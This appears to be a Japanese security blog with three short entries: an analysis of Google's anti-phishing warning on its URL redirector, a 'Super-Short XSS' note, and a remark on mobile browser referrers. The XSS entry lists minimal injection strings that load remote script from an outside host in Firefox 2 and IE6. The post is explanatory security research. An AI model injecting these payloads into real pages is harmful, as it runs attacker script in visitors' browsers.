Googleのリダイレクタ

Google がリダイレクタにフィッシング対策を施したとのニュースを、ha.ckers.orgで読みました。

1月末のslashdot(日本版)の記事でも、これを取り上げていました(どうも見落としていたようです)。

google.comがクリック数を計測するために用意しているリダイレクタは、Googleに無断で利用されフィッシング詐欺などに使われることが多かった。フィッシング詐欺サイト情報1月29日の記事によるとそのような場合には警告が出るようになったとのこと。

Googleが無断リダイレクトに警告 | スラド IT

ただ、対策が施されたのは、無数に存在するであろうGoogleのリダイレクタの、ほんの一部だけのようです。

仕組み

このURL(↓)にアクセスすると「リダイレクトしようとしています」との警告画面が出ます*1
http://www.google.com/url?q=http://www.yahoo.co.jp/

警告画面からリダイレクト先に進むリンクのURLが下記です。このURLにアクセスすると、素直にYahoo! Japanにリダイレクトされます*2
http://www.google.com/url?q=http://www.yahoo.co.jp/&sa=X&oi=unauthorizedredirect&ct=targetlink&ust=1172385301251594&usg=__lQZk7ZRWZFiXdEvouEc3ckwlXV0=

以下は、このURLを見て、あるいは実際にちょっと試してみての推測です。

  • 変数ustはタイムスタンプ。URLの有効時間を制限するためのものか。
  • 変数usgは、qやustの改竄を防ぐためのMAC(メッセージ認証コード)か。
  • URLが有効な間は、そのURLは再利用可能のようだ。
  • URLはCookieとは結びついていないようだ(他人に使用させることができると思われる)。
  • 生成後1時間程度でURLが無効となったので、URLの有効期間は1時間よりは短いようだ。

感想

推測に基づいた感想です(特に結論めいたものはありません)。

  • 実装の手間やサーバの負荷が少ない方法だと思われる。
  • URLの有効期間が短いので、Eメールなどを用いたフィッシングには、ある程度効果がありそう。
  • しかし、攻撃者がリアルタイムに取得したURLを、攻撃対象者に提示できる場合には、意味が無さそう(このようなケースが多いかは知らない)。
  • Cookieと結びつけて、他人がURLを使い回しできないようにした方が、より強固になるはず(ただし問題もある)。
  • そもそも、リダイレクタってダメなのか?(参考)。
  • リダイレクタのURLをIPアドレスにする手法(Googleお得意の手法)を用いないのは何故なのか?
  • Googleは、これから自社の全てのリダイレクタに同種の対策をするのか?
  • それが世の中のサイトの「常識」とされるのか? そうならば、影響を受けるサイトは多い。

*1:リダイレクト先がgoogleドメインの場合は警告画面が出ない模様。

*2:このURLは既に期限が切れているので、動きません。

Super-Short XSS

<p>ココ</p>

上記の ココ に任意の文字列を挿入できる場合、最短で何文字でJavaScriptを起動できるのか? というような話題です(完全にお遊びです)。

http://sla.ckers.org/forum/read.php?2,6964,7145

forumの内容を参考に、手元の環境でやってみると、以下が最短のようです。

■Firefox2
①<p><script src=//h4k.in </p>

■IE6
②<p><script src=//h4k.in/></p>
③<p><script src=//h4k.in></script></p>

(h4k.inというのはforum参加者の一人が用意したサイト)

forumでは「②はIE7で動く」と書かれていましたが、私がやった限りIE6/7とも動きませんでした。③のように </script> が必要なようです。

ただし、挿入箇所より後ろに </script> という文字列が存在する場合は、そこでscriptタグが閉じるため、</script> 挿入の必要はありません。

携帯電話のリファラー

携帯電話のWebAPセキュリティについて、話題になっているようです。

http://takagi-hiromitsu.jp/diary/20070223.html#p01
http://kaede.to/~canada/doc/sessionid-and-cellphone

携帯ブラウザは、一切リファラーを送らないと信じていたんですが、ネットで調べてみるとそうではないようです。すごい勘違いしてました。

DoCoMoだけはリファラーを送らないと書いてあるサイトがいくつかありました。それが正しいとすれば、送ると大変なことになるということを、キャリアが理解しているんでしょうかね。